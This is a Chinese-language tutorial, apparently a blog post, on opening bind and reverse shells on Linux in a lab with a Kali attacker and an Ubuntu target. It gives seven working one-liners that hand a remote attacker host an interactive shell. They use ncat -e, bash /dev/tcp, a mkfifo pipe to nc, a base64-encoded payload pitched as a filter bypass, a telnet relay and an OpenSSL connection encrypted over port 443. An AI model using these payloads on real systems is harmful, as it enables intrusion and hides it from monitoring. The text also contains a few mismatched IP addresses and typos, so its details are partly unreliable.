WEB安全基础 - - -Linux反弹shell

目录

一,Shell简介

正向shell(客户端想要获得服务端的shell)

反向shell (服务端想要获得客户端的shell)

 二,Linux反弹shell

1.NC正向shell

   2.NC反向shell

​编辑 3.bash反弹shell

 4.无e参数反弹shell

 5.Base64编码绕过

​编辑 6.Telnet反弹shell

 7.OpenSSL反弹443端口,流量加密传输


一,Shell简介

      Shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。

getshell:获取到目标的命令执行权限
webshell:网站后门,通过web服务进行命令执行
反弹shell:将命令行的输入与输出转移到其他主机

正向shell(客户端想要获得服务端的shell

控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍

反向shell (服务端想要获得客户端的shell

被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

 二,Linux反弹shell

实验环境

目标机器:Ubuntu、IP:10.1.1.200、ssh账号密码root/root

攻击机器:Kali、IP:10.1.1.100

1.NC正向shell

原理:被控端(Ubuntu)使用nc将/bin/bash绑定到本地的6666端口,控制端(kali)主动连接被控端的6666端口,即可获得shell。

在Ubuntu被控端:ncat -lvvp 6666 -e /bin/bash    //监听6666端口

WEB安全基础 - - -Linux反弹shell_第1张图片

控制端:nc 10.1.1.200 6666  

我们输入whoami可以查看到Ubuntu中的root用户,uname -a查看系统的主机名,内核,以及硬件架构

WEB安全基础 - - -Linux反弹shell_第2张图片

   2.NC反向shell

原理被控端使用nc将/bin/bash发送到控制端的6666端口,控制端需要监听本地的6666端口,就可以获得被控制端的shell。

控制端:nc -lvvp 6666       

WEB安全基础 - - -Linux反弹shell_第3张图片

被控端    ncat -e /bin/bash 10.10.1.100 6666

发现shell已经反弹到了kali中,输入下面的命令验证一下

whoami

uname -a 

WEB安全基础 - - -Linux反弹shell_第4张图片 3.bash反弹shell

bash -i的意思是在本地打开一个bash,/dev/tcp/相当于发出了一个socket调用,建立一个socket连接。/dev/tcp/10.1.1.100/6666意思是将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。远程控制端开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

控制端:nc -lvvp 6666

被控端:bash -i >& /dev/tcp/10.1.1.100/6666 0>&1   

解析:         

//     将 /dev/tcp/10.10.1.11/6666 传递的数据作为交互式shell的输入,命令执行后的结果输出到 /dev/tcp/10.10.1.11/6666

//     /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发起了一个socket调用,建立一个socket

接,读写这个文件就相当于在这个 socket 连接中传输数据

 WEB安全基础 - - -Linux反弹shell_第5张图片

可以看到控制端 已经获取到了shell

 WEB安全基础 - - -Linux反弹shell_第6张图片

 4.无e参数反弹shell

原理:mkfifo 创建了一个管道,cat将管道里面的内容输出传递给/bin/bash,/bin/bash执行管道里的命令将标准输出和标准错误输出结果通过nc传输到管道,然后获得了shell。

控制端:nc -lvvp 6666 

  

被控端:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.1.1.100 6666 >/tmp/f

 控制端已经得到了shell权限

 5.Base64编码绕过

控制端:nc -lvvp 1234 

WEB安全基础 - - -Linux反弹shell_第7张图片

python3

import base64

a = bash -i >& /dev/tcp/10.1.1.100/1234 0>&1

b=base64.b64encode(a.encode(‘utf-8’))

print(b)  

利用python3将bash...转换为base64编码

WEB安全基础 - - -Linux反弹shell_第8张图片

 被控端:

bash - c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTAwLzEyMzQgMD4mMQ== | base64 -d|bash -i"

实质是playload组合

bash -c "echo base64加密后payload |base64 -d | bash -i"

 

查看控制端,已经有参数回显

WEB安全基础 - - -Linux反弹shell_第9张图片 6.Telnet反弹shell

控制端:nc -lvvp 5555                                      //传输命令窗口

控制端:nc -lvvp 6666                                      // 结果显示窗口

 

被控端: telnet 10.1.1.100 5555 | /bin/bash |telnet 10.1.1.100 6666 

WEB安全基础 - - -Linux反弹shell_第10张图片

 在控制端中我们两个监听的端口都得到了shell,在5555窗口输入whoami然后命令回显显示在了6666窗口

 WEB安全基础 - - -Linux反弹shell_第11张图片

WEB安全基础 - - -Linux反弹shell_第12张图片

 7.OpenSSL反弹443端口,流量加密传输

控制端:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes   

控制端上生成秘钥文件

 WEB安全基础 - - -Linux反弹shell_第13张图片

控制端:openssl s_server -quiet -key key.pem -cert cert.pem -port 443  // 在控制端上启动监视器 

 WEB安全基础 - - -Linux反弹shell_第14张图片

被控端: mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.1.1.100:443 >/tmp/s;rm /tmp/s                      //在被控端反弹shell

WEB安全基础 - - -Linux反弹shell_第15张图片

在监视器上得到了shell,输入whoami验证

 WEB安全基础 - - -Linux反弹shell_第16张图片

你可能感兴趣的:(网安,linux,运维,服务器,网络)